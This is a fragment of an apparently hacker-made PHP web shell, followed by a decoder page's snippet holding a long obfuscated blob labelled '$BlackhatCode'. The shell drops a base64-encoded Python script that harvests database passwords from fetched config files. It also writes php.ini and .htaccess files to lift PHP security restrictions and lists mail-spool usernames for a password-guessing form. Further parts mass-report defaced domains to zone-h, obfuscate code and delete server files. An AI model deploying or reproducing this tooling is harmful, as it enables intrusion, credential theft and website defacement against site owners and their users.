mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3IgaXMgbm90IE5vbmU6IHByaW50IChzZWNyLmdyb3VwKDIpKSAgDQogICAgICAgICAgc2VjcjEgPSByZS5zZWFyY2gociIocGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3IyID0gcmUuc2VhcmNoKHIiKERCX1BBU1NXT1JEJykoLi4uKSguK1tePl0pKCcpIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyMiBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3IyLmdyb3VwKDMpKQ0KICAgICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjMgaXMgbm90IE5vbmU6IHByaW50IChzZWNyMy5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNCA9IHJlLnNlYXJjaCAociIoREJQQVNTV09SRCA9ICcpKC4rW14+XSkoLjspIiwgbGluZSkNCiAgICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICAgIHNlY3I1ID0gcmUuc2VhcmNoIChyIihEQnBhc3MgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjUgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNS5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgICAgaWYgc2VjcjYgaXMgbm90IE5vbmU6IHByaW50IChzZWNyNi5ncm91cCgyKSkNCiAgICAgICAgICBzZWNyNyA9IHJlLnNlYXJjaCAociIobW9zQ29uZmlnX3Bhc3N3b3JkID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZm9yIGluZmlsZSBpbiBnbG9iLmdsb2IoIG9zLnBhdGguam9pbihmb3V0LCAnKi50eHQnKSApOg0KICAgICAgZiA9IG9wZW4oaW5maWxlLCAncicpDQogICAgICBmb3IgbGluZSBpbiBmOg0KICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkYl9wYXNzd29yZCddID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyIGlzIG5vdCBOb25lOiBwcmludCAoc2Vjci5ncm91cCgyKSkgIA0KICAgICAgICBzZWNyMSA9IHJlLnNlYXJjaChyIihwYXNzd29yZCA9ICcpKC4rW14+XSkoJzspIiwgbGluZSkNCiAgICAgICAgaWYgc2VjcjEgaXMgbm90IE5vbmU6ICBwcmludCAgKHNlY3IxLmdyb3VwKDIpKQ0KICAgICAgICBzZWNyMiA9IHJlLnNlYXJjaChyIihEQl9QQVNTV09SRCcpKC4uLikoLitbXj5dKSgnKSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IyIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjIuZ3JvdXAoMykpDQogICAgICAgIHNlY3IzID0gcmUuc2VhcmNoIChyIihkYnBhc3MgPS4uKSguK1tePl0pKC47KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3IzIGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjMuZ3JvdXAoMikpDQogICAgICAgIHNlY3I0ID0gcmUuc2VhcmNoIChyIihEQlBBU1NXT1JEID0gJykoLitbXj5dKSguOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNCBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I0Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNSA9IHJlLnNlYXJjaCAociIoREJwYXNzID0gJykoLitbXj5dKSgnOykiLCBsaW5lKQ0KICAgICAgICBpZiBzZWNyNSBpcyBub3QgTm9uZTogcHJpbnQgKHNlY3I1Lmdyb3VwKDIpKQ0KICAgICAgICBzZWNyNiA9IHJlLnNlYXJjaCAociIoZGJwYXNzd2QgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I2IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjYuZ3JvdXAoMikpDQogICAgICAgIHNlY3I3ID0gcmUuc2VhcmNoIChyIihtb3NDb25maWdfcGFzc3dvcmQgPSAnKSguK1tePl0pKCc7KSIsIGxpbmUpDQogICAgICAgIGlmIHNlY3I3IGlzIG5vdCBOb25lOiBwcmludCAoc2VjcjcuZ3JvdXAoMikpDQogICAgICBmLmNsb3NlKCkNCmV4Y2VwdCAoS2V5Ym9hcmRJbnRlcnJ1cHQpOg0KICBwcmludCAnXG5UaGFua3MgZm9yIHVzaW5nIGl0IC5fXic=';
$file = fopen("cp.py","w+");
$write = fwrite ($file ,base64_decode($cp));
fclose($file);
Chmod("cp.py",0755);
$url = $_POST['url'];
echo"<center>
<textarea cols=\"90\" rows=\"20\" name=\"usernames\">";
system("python cp.py $url config");
unlink ('cp.py');
echo"</textarea>
</center>";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['matikan']=='sekatan'){
@error_reporting(0);
$phpini =
'c2FmZV9tb2RlPU9GRg0KZGlzYWJsZV9mdW5jdGlvbnM9Tk9ORQ==';
$file = fopen("php.ini","w+");
$write = fwrite ($file ,base64_decode($phpini));
fclose($file);
$htaccess =
'T3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ==';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
echo "<hr><center><b>DONE!";
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<br><form method="POST" target="_blank">
	<strong>
<input name="page" type="hidden" value="find">        				
    </strong>
    <table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr>
        
		</strong></center></td>
    </tr>
    <tr>
    <td>
    <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Username :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Password :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="40" rows="10" name="passwords"></textarea></strong></td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
	<strong>Type :</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
    <span class="style2"><strong>Simple : </strong> </span>
	<strong>
	<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
    <font class="style2"><strong>/etc/passwd : </strong> </font>
	<strong>
	<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
	</strong>
	</span>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" class="inputzbut" value="Start">
    </strong>
    </td>
    <tr>
</form> 
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
    				</tr>
<form method="POST" target="_blank">
	<strong>
<input name="pass" type="hidden" value="password">        				
    </strong>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
    <td valign="top" bgcolor="#151515"><strong><input size="35" name="url" type="text"></strong></td>
	</strong>
    </td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"></td>
    <td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" class="inputzbut" value="GO">
    </strong>
    </td>
    <tr>
</form>
<tr>
    <td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info 
	Security</strong></td>
    				</tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}

?>	
	</strong>	
	</td>
    </tr>
    <tr>
    <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Disable Function</strong></td>
    <td valign="top" bgcolor="#151515" colspan="5">
	<strong>
<form method="POST" target="_blank">
	<strong>
<input name="matikan" type="hidden" value="sekatan">        				
    </strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#00800F>No Security for Function</font></b>";
}else{
echo '<script>alert("Please See Below and Press >Please Click Here First..<");</script>';
echo "<font color=red>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" class="inputzbut" value="Please Click Here First!">
    </strong>
    </td></tr>';
}
?></strong></td>

<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'zone'))
{
?><br><Form action="?y=<?php echo $pwd; ?>&amp;x=zone" method="post">
<?php
$defacer='';
$display_details=0; 
$method=14;        
$reason=5;

error_reporting(0);
set_time_limit(0);
if(!function_exists('curl_init')){echo "cURL Not Installed/Disabled.
";exit;}
$cli=(isset($argv[0]))?1:0;
if($cli==1){
$file=$argv[1];
$sites=file($file);
if(!file_exists($file)){echo "$file Not Found.
";exit;}
}else{

if(function_exists(apache_setenv)){
@apache_setenv('no-gzip', 1);}
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1); 
@ob_implicit_flush(true);
@ob_end_flush();

if(isset($_POST['domains'])){
$sites=explode("
",$_POST['domains']);
}
if (file_exists($_FILES["file"]["tmp_name"])){
$file=$_FILES["file"]["tmp_name"];$sites=file($file);}
echo <<<EOF
<html><head><meta http-equiv="Content-Language" content="en-us">
<link href='http://fonts.googleapis.com/css?family=Handlee' rel='stylesheet' type='text/css'>
<body text="#00FF00" bgcolor="#000000" vlink="#008000" link="#008000" alink="#008000">
<div align="center"><pre>
EOF;
if(!isset($_POST['defacer'])){
echo <<<EOF
<form enctype="multipart/form-data" method="POST">
<div align='center'><span lang='en-us'><font color='silver' face='Handlee'><b>Your Nick :</b></font></span><br/><input name="defacer" type="text" value="$defacer" /><br/>
<table width='55%' style='border: 0px solid silver; background-color: #000000; color:#C0C0C0'>
<tr>
<td align='center'>
<span lang='en-us'><font color='silver' face='Handlee'><b>Domains :</b></font></span>
<p align='center'>&nbsp;<textarea rows='13' name='domains' cols='50' style='border: 1px solid #FFFFFF; background-color: #000000; color:#C0C0C0'></textarea><br/>
<span lang='en-us'><font color='silver' face='Handlee'><b>OR</b></font></span><br/><font face='Handlee'>Submit form .txt file:</font><br/><input name="file" type="file" /><br /> <br/><br/><input type='submit' value='    Submit    ' name='submit' style='color: silver; font-weight: bold; border: 1px solid #333333; background-color: #000000'></p>
</table></td>
</tr>
</table></form>
EOF;
}
$defacer=$_POST['defacer'];}
if(!$sites){echo '</pre></body></html>';exit;}
$sites=array_unique(str_replace('http://','',$sites));
$total=count($sites);
echo "<BR>[+] Total Unique Domain: $total

";

$pause=10;
$start=time();
$main=curl_multi_init();

for($m=0;$m<3;$m++){
$http[] = curl_init(); 
}
for($n=0;$n<$total;$n +=30){
if($display_details==1){
for($x=0;$x<30;$x++){
echo'[+] Adding '.rtrim($sites[$n+$x]).'';
echo "
";
}
}
$d=$n+30;
if($d>$total){$d=$total;}
echo "=====================>[$d/$total]
";

for($w=0;$w<3;$w++){
$p=$w * 10;

if(!(isset($sites[$n+$p]))){$pause=$w;break;}
$posts[$w]="defacer=$defacer&domain1=http%3A%2F%2F".rtrim($sites[$n+$p])."&domain2=http%3A%2F%2F".rtrim($sites[$n+$p+1])."&domain3=http%3A%2F%2F".rtrim($sites[$n+$p+2])."&domain4=http%3A%2F%2F".rtrim($sites[$n+$p+3])."&domain5=http%3A%2F%2F".rtrim($sites[$n+$p+4])."&domain6=http%3A%2F%2F".rtrim($sites[$n+$p+5])."&domain7=http%3A%2F%2F".rtrim($sites[$n+$p+6])."&domain8=http%3A%2F%2F".rtrim($sites[$n+$p+7])."&domain9=http%3A%2F%2F".rtrim($sites[$n+$p+8])."&domain10=http%3A%2F%2F".rtrim($sites[$n+$p+9])."&hackmode=".$method."&reason=".$reason."&submit=Send";

$curlopt=array(CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.16 (KHTML, like Gecko) Chrome/18.0.1003.1 Safari/535.16',CURLOPT_RETURNTRANSFER => true,CURLOPT_FOLLOWLOCATION =>true,CURLOPT_ENCODING => true,CURLOPT_HEADER => false,CURLOPT_HTTPHEADER => array("Keep-Alive: 7"),CURLOPT_CONNECTTIMEOUT => 3,CURLOPT_URL => 'http://www.zone-h.com/notify/mass',CURLOPT_POSTFIELDS => $posts[$w]);
curl_setopt_array($http[$w],$curlopt);
curl_multi_add_handle($main,$http[$w]);


}

$running = null; 
        do{ 
                curl_multi_exec($main,$running); 
        }while($running > 0); 
for($m=0;$m<3;$m++){
if($pause==$m){break;}
curl_multi_remove_handle($main, $http[$m]);
 $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE); 
 if ($code != 200) {
while(true){
 echo' [-]Server Error!....Retrying';echo "
";
 sleep(5);
curl_exec($http[$m]);
 $code = curl_getinfo($http[$m], CURLINFO_HTTP_CODE); 
if( $code== 200){break 1;}

 } } } }
 
 $end= time() - $start;
echo '+++++++DONE+++++++';echo "

[*]Time Took: $end Seconds
";curl_multi_close($main);
if($cli==0){echo '</pre></body></html>';}
exit;
?>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'encode'))
{
?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=encode" method="post">
<?php
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
$text = $_POST['code'];
?>
<center>
<form method="post"><br><br>
<textarea class='inputz' cols=90 rows=10 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="URLencode">URL</option>
<option value="base64">Base64</option>
<option value="ur">convert_uu</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="str2">str_rot13 - base64</option>
<option value="gzpress">gzcompress - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="gzinflater">gzinflate - str_rot13 - base64</option>
<option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="URL">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
</select>&nbsp;<input class='inputzbut' type='submit' name='submit' value='Encode'>
<input class='inputzbut' type='submit' name='submits' value='Decode'> <br>
</form>

<?php 
$submit = $_POST['submit'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_encode($text);
break;case 'str' : $codi=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'gzinflate' : $codi=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $codi=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $codi=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflates' : $codi=base64_encode(gzdeflate($text));
break;case 'str2' : $codi=base64_encode(str_rot13($text));
break;case 'URLencode' : $codi=rawURLencode($text);
break;case 'ur' : $codi=convert_uuencode($text);
break;case 'URL' : $codi=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;case 'gzpress' : $codi=base64_encode(gzcompress($text));
break;default:break;}}

$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $codi=base64_decode($text);
break;case 'str' : $codi=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'gzinflate' : $codi=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $codi=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $codi=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflates' : $codi=gzinflate(base64_decode($text));
break;case 'str2' : $codi=str_rot13(base64_decode($text));
break;case 'URLencode' : $codi=rawURLdecode($text);
break;case 'ur' : $codi=convert_uudecode($text);
break;case 'URL' : $codi=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;case 'gzpress' : $codi=gzuncompress(base64_decode($text));
break;default:break;}}
$html = htmlentities(stripslashes($codi));
echo "<from><br><textarea cols=90 rows=10 class='inputz' readonly>".$html."</textarea></from>";
?>
<body></body></html>
<?php }
else {
if(isset($_GET['Delete']) && ($_GET['Delete'] != "")){
	$file = $_GET['Delete'];
	@unlink($file);
}
elseif(isset($_GET['fDelete']) && ($_GET['fDelete'] != "")){
	@rmdir(rtrim($_GET['fDelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
	$path = $pwd.$_GET['mkdir'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
?></head>
</script>
</div></body></html>

Did this file decode correctly?

Original Code

<?php
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$BlackhatCode = "7b17e9pVsjj8auZs5jt1S+9vrx2bi1ZPHHsGm/vdgMEmk8dUIlUYg5AEyIg5bD/7W9XduoHEfXNqz2I9Exuk7urq6uq6qbpnpAiG0OWuucDfT6HxOBQKXGQ//2ekd3C5dFXPsiLpAg+3g2jd0MS2zAfx/mJjX+e142C69kd/vit0HoJ03PNmvflHe34+wRb6+JgTpWFUEI+Pnt
O1R66W+hp8yHHunrPw7bncqCUywWJ0wYYgWQwta8L9ZX3NjXJQ1LgT7g8AwMHPR5NIrXtZ+l2Ez1DccuiSWAgSShdtvBokA2477UiX8PMPUVrUURFjfhYluSsdkza/dt2u0H3udx2hK+n85DhRL+u8/ix30mSQ3jeEVvAskX1tTbgL159WCzFrtthmLr8+eK+a0lA6PVj6XCN6nFqEntTpVs+j3musa
G70ciCqLmkMbGANwkQIY49AfDb0uS6ZVePVuTzRlefvPU7SxOdhj8dJ5n1mdoDi6eZ6AqAFI+fhoLUqk8X+k45lfOKg+rjH00iH9dM7oiGLRnUlarvy4PiI/LHb4kJKk21dntMX2/zKkQ8wS+c4uAwLEDNbfmkNcgIwSvcH+3v0fGqbzgAvbeFS7p2YWWBaoQMEl56Eic4f21X/bQMfvowEaMCNJoT/
rwMjUElzgZsvki4Z2lqThxXj7nFE7Atd9ZcvF/Qy98XQ+RlZ2LgOpB9hRpl3NsM1q7eJADftd+PrwEeSOuLniwtQH3iw0l1SOR/jvjlUMJ0uY+a5IswvIqFj6AL+vxypTXEcSiIfP6ix8w4/CdwAb4rGWE335svI8UKfQjixq1wHZAQYQPxrDlsLln1lLmcnF7PBq/T9Rt/4a2Qn84os6oaM4IJAqoG
hXQeFjqzo0uBm6PzyChAC8J9yozOVj9mN68vQVpAT+LnQEzXhUuteB6WpLp6T7udzo/AVuVUBiOcEgn0zFLIh9CRCADj8ChCXAG6q6ZMp9L5RY336JQBfApQOF7JSE7qWX8gINw5p1Mna/cHN5S4s++fQ1QhJadJSifGeLPbnv43H46sRrAiQIdxs5VHB0EiOXLWY7cuFC7C5KObXsdCdZmZamgrqNS
6EaIOOLg062miHsQ/Hy2b6zXdogf1uNgtDf+1ZOx4iDWrtL7qIooJQbprGff1orsYWUusD7IHgt5Ni3MkJA4NdtWxUGkBCuSdanxEN2Ov/+78Oih1mFmPcUl+D2CgIQ7h//ANh0oGcakE4ENYua/ifDWMzJK85qdvTLBmOot8G4dy4IAvfvVshkNcK22qEhmeSVM+NGllRNWMaOD/HBUNPXCBjZfIHD
